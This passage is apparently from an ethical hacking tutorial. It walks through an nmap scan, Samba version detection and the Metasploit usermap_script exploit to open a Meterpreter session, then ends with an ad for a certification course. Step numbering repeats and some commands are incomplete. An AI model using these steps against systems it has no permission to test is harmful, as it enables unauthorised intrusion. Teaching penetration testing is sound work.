Step 1) First, we need to find out the ports and services running on the target system. To find the open ports and services, the command is:

Command: nmap -sS -Pn -A

Step 2: Once you find the open ports and service like the samba port and service ready, get set for sending an exploit through that port to create a meterpreter session. To perform this attack, you need to open metasploit.

Step 3: Once you open metasploit, first we need to find the version of samba

Command: -msf> search scanner/samba

(This command used to finding the scanner parameter to find samba version)

Step 3: Once you find the scanners to find the samba version of the target, use the scanner parameter.

Command: msf> use auxiliary/scanner/smb/smb_version

(This command is used to set the scanner parameter)

Command 2: msfauxiliary(smb_version) > set RHOSTS

(This command is used to set the IPaddress of the remote host of which you need to find the version)

Command 3: exploit

Step 3: After finding the samba version, perform an attack and gain access to the linux system with the help of the Meterpertersession

Command: msf> use exploit/multi/samba/usermap_script

This is the exploit that we need to select to gain access to system

Command: msf exploit(usermap_script) > set RHOST

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

  • Dual Certification - CEH and CPT
  • 5 days of Intensive Hands-On Labs
  • Expert Instruction
  • CTF exercises in the evening
  • Most up-to-date proprietary courseware available